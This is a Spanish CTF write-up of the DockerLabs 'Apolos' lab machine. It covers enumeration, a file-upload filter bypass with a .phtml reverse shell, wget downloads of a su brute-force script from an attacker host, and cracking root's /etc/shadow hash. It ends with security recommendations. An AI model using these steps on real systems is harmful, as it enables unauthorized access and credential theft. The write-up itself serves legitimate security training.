Apolos
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la resolución completa de la máquina Apolos, desarrollada por Luisillo_o para la plataforma DockerLabs y clasificada con una dificultad media.
El objetivo es explicar de forma clara cada paso del proceso de explotación, desde el reconocimiento inicial hasta la obtención de privilegios de administrador. Durante la máquina se abordan vulnerabilidades web, una escalada de un LFI a RCE mediante evasión de filtros, y finalmente la explotación de configuraciones inseguras relacionadas con credenciales y grupos privilegiados.
Todas las acciones fueron realizadas dentro del entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | Apolos |
| Autor | Luisillo_o |
| Dificultad | Medio |
| Fecha | 06/09/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimimos y desplegamos la máquina:
unzip Apolos.zipsudo bash auto_deploy.sh Apolos.tarEl script devuelve la IP del contenedor:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Preparación del entorno
Sección titulada «1.1 Preparación del entorno»mkdir -p Apolos/{content,exploits,nmap,gobuster,scripts}cd Apolos1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Ejecutamos un escaneo agresivo con Nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsSe identifica un único puerto abierto:
- 80/tcp — HTTP

1.3 Enumeración HTTP
Sección titulada «1.3 Enumeración HTTP»Lanzamos un escaneo de directorios:
gobuster dir \ -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,html,txt,js \ -t 200
Rutas relevantes encontradas
Sección titulada «Rutas relevantes encontradas»-
/index.php— Página inicial tipo tienda/applestore.
-
/login.php— Portal de acceso de usuarios. -
/register.php— Página para registrar cuentas nuevas. -
/img— Directorio accesible con imágenes. -
/uploads— Directorio accesible pero vacío.
De momento no hay nada especialmente llamativo, así que avanzamos hacia la interacción con la aplicación.
Paso 2 — Explotación (Acceso inicial)
Sección titulada «Paso 2 — Explotación (Acceso inicial)»2.1 Registro e inicio de sesión
Sección titulada «2.1 Registro e inicio de sesión»Creamos un nuevo usuario:

Tras autenticarnos, realizamos escaneos adicionales con diferentes diccionarios en Gobuster. Esto revela una ruta importante:
/admin_dashboard.php— Panel administrativo

Dentro del dashboard encontramos un apartado de configuraciones donde existe un formulario para subir archivos:

Este será el vector principal de explotación.
2.2 Abuso de la funcionalidad de subida de archivos
Sección titulada «2.2 Abuso de la funcionalidad de subida de archivos»Intentamos subir una reverse shell en .php, pero el sistema bloquea este tipo de archivo. Probamos extensiones alternativas capaces de ejecutar código PHP —como .phar, .php5, .phtml— y descubrimos que la extensión .phtml es aceptada y ejecuta código sin restricciones.
Subimos nuestra reverse shell .phtml y verificamos la carga en /uploads:

Levantamos un listener:
nc -nlvp 443Al acceder al archivo malicioso obtenemos acceso como www-data:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → luisillo_o
Sección titulada «3.1 De www-data → luisillo_o»Dentro del directorio web encontramos credenciales hardcodeadas que permiten autenticarnos en otra parte del sistema. Sin embargo, estas credenciales no proporcionan un acceso privilegiado útil para escalar.
Durante la enumeración local no encontramos binarios SUID interesantes, ni permisos sudo, ni capacidades peligrosas.
Con los vectores clásicos descartados, recurrimos a una técnica alternativa: un ataque fuerza bruta sobre la contraseña del usuario real del sistema, luisillo_o.
Usamos la herramienta userRush (script de fuerza bruta para su):
En la máquina atacante levantamos un servidor web:
python3 -m http.server 8000Luego, en la máquina víctima descargamos las herramientas:
wget http://<IP_attacker>:8000/userRush.shwget http://<IP_attacker>:8000/rockyou.txtchmod +x userRush.shEjecutamos:
./userRush.sh -u luisillo_o -d rockyou.txt -t 10Después de un tiempo obtenemos una contraseña válida:

Accedemos:
su luisillo_o3.2 De luisillo_o → root
Sección titulada «3.2 De luisillo_o → root»Listamos la información del usuario:

Observamos que pertenece al grupo shadow, lo que permite leer el fichero /etc/shadow, donde se almacenan los hashes de todas las contraseñas del sistema, incluyendo root.
Extraemos el hash de root y lo guardamos en un archivo:
nano hashLuego lo crackeamos usando John the Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt hashTras unos minutos obtenemos la contraseña:

Ahora podemos acceder como root:
su rootY confirmamos privilegios:

Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»-
Validación deficiente en subida de archivos Permite cargar archivos
.phtmlejecutables. -
Panel administrativo accesible mediante fuerza bruta de rutas No existe protección, autenticación adicional ni control de acceso adecuado.
-
Credenciales hardcodeadas en el código fuente Un riesgo grave que expone usuarios y servicios internos.
-
Pertenece al grupo
shadowsin justificación Permite leer hashes sensibles, incluida la contraseña de root. -
Ausencia total de controles contra fuerza bruta Tanto en login como en
su.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar una lista blanca estricta en la funcionalidad de subida de archivos.
- Mover las credenciales del código fuente a variables de entorno o archivos de configuración protegidos.
- Restringir correctamente el acceso al panel administrativo.
- Evitar que usuarios estándar formen parte de grupos privilegiados como
shadow. - Implementar mecanismos anti fuerza bruta (rate limiting, timeouts, captchas).
- Realizar auditorías periódicas de permisos del sistema y configuraciones web.